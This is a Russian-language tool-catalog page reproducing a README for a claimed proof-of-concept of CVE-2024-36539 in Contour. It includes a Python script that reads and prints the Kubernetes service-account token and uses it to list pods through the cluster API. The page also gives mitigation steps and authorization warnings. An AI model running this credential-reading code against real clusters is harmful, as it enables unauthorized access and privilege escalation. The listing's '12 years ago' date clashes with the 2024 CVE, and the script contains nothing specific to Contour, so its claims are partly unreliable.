Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-36539 — PoC-эксплойт для небезопасных разрешений в Contour v1.28.3, который извлекает токен сервисной учетной записи Kubernetes и получает доступ к API кластера, демонстрируя повышение привилегий. | Kitploit
Инструменты/GitHubGitHub/abdurahmon3236/cve-2024-36539
Повышение привилегийБезопасность контейнеровАнализ уязвимостейЭксплуатацияПост-эксплуатацияТестирование на ПроникновениеБезопасность облачных средRed Teaming

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
abdurahmon3236/cve-2024-36539

CVE-2024-36539

PoC-эксплойт для небезопасных разрешений в Contour v1.28.3, который извлекает токен сервисной учетной записи Kubernetes и получает доступ к API кластера, демонстрируя повышение привилегий.

Репозиторий
12 лет назадЕщё не проверено

Доказательство концепции (PoC) уязвимости небезопасных разрешений в Contour v1.28.3

Этот репозиторий содержит скрипт доказательства концепции (PoC), демонстрирующий уязвимость небезопасных разрешений в Contour v1.28.3. Эта уязвимость позволяет злоумышленникам получить доступ к конфиденциальным данным и повысить привилегии, получив токен сервисного аккаунта.

Описание уязвимости

CVE-ID: (Ожидается)

Обзор: Contour v1.28.3 содержит небезопасные разрешения, которые позволяют злоумышленникам получить доступ к токену сервисного аккаунта. Используя эту уязвимость, злоумышленник может получить токен сервисного аккаунта, который можно использовать для доступа к конфиденциальным данным и потенциально для повышения привилегий в кластере Kubernetes.

Затронутые версии:

  • Contour v1.28.3

Смягчающие меры:

  • Проверьте и скорректируйте разрешения сервисных аккаунтов, используемых Contour.
  • Убедитесь, что сервисные аккаунты имеют минимально необходимые разрешения.
  • Регулярно проводите аудит и ротацию токенов сервисных аккаунтов.

Детали PoC

Этот скрипт PoC демонстрирует, как получить доступ к токену сервисного аккаунта в Contour v1.28.3. Убедитесь, что у вас есть явное разрешение на выполнение этого теста.

Скрипт PoC

root@kitploit:~
import os
import requests

# Configuration
kubernetes_api_url = "https://kubernetes.default.svc"  # Kubernetes API URL
token_path = "/var/run/secrets/kubernetes.io/serviceaccount/token"  # Path to the service account token
namespace_path = "/var/run/secrets/kubernetes.io/serviceaccount/namespace"  # Path to the namespace

def get_service_account_token():
    try:
        # Read the service account token
        with open(token_path, 'r') as token_file:
            token = token_file.read().strip()
        print(f"[+] Service Account Token: {token}")
        return token
    except Exception as e:
        print(f"[-] Error reading token: {e}")
        return None

def get_namespace():
    try:
        # Read the namespace
        with open(namespace_path, 'r') as namespace_file:
            namespace = namespace_file.read().strip()
        print(f"[+] Namespace: {namespace}")
        return namespace
    except Exception as e:
        print(f"[-] Error reading namespace: {e}")
        return None

def access_kubernetes_api(token, namespace):
    try:
        # Set the headers with the token
        headers = {
            "Authorization": f"Bearer {token}",
            "Content-Type": "application/json"
        }
        
        # Make a request to the Kubernetes API to get pods in the namespace
        response = requests.get(f"{kubernetes_api_url}/api/v1/namespaces/{namespace}/pods", headers=headers, verify=False)
        
        # Print the response details
        print("Status Code:", response.status_code)
        print("Response Body:", response.json())
        
        if response.status_code == 200:
            print("[+] Successfully accessed Kubernetes API.")
        else:
            print("[-] Failed to access Kubernetes API.")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    # Get the service account token and namespace
    token = get_service_account_token()
    namespace = get_namespace()
    
    if token and namespace:
        # Access the Kubernetes API using the token
        access_kubernetes_api(token, namespace)

Пояснение

  1. Конфигурация: Скрипт настраивает URL API Kubernetes и пути к файлам токена сервисного аккаунта и пространства имен.
  2. Получение токена сервисного аккаунта: Считывает токен сервисного аккаунта из файловой системы.
  3. Получение пространства имен: Считывает пространство имен из файловой системы.
  4. Доступ к API Kubernetes: Использует токен для выполнения запроса к API Kubernetes для получения списка подов в пространстве имен.

Важные замечания

  • Разрешения: Убедитесь, что у вас есть явное разрешение на тестирование этой уязвимости на целевой системе. Несанкционированное тестирование незаконно и неэтично.
  • Среда тестирования: Проводите тесты в контролируемой среде, чтобы избежать воздействия на производственные системы.
  • Этичное использование: Используйте этот PoC ответственно и только в авторизованных контекстах.

Смягчение

Для устранения этой уязвимости:

  1. Проверьте разрешения сервисных аккаунтов: Убедитесь, что сервисные аккаунты имеют минимально необходимые разрешения.
  2. Аудит и ротация токенов: Регулярно проводите аудит сервисных аккаунтов и выполняйте ротацию токенов, чтобы минимизировать риск компрометации токена.
  3. Обновляйте Contour: Поддерживайте актуальность Contour и других компонентов Kubernetes с последними исправлениями безопасности.

Для получения дополнительной информации о защите вашего развертывания Contour обратитесь к официальной документации Contour.


Этот README.md предоставляет обзор уязвимости, скрипт PoC для демонстрации проблемы и инструкции по снижению риска. Убедитесь, что вы используете этот PoC ответственно и только в системах, где у вас есть явное разрешение.

Скачать инструмент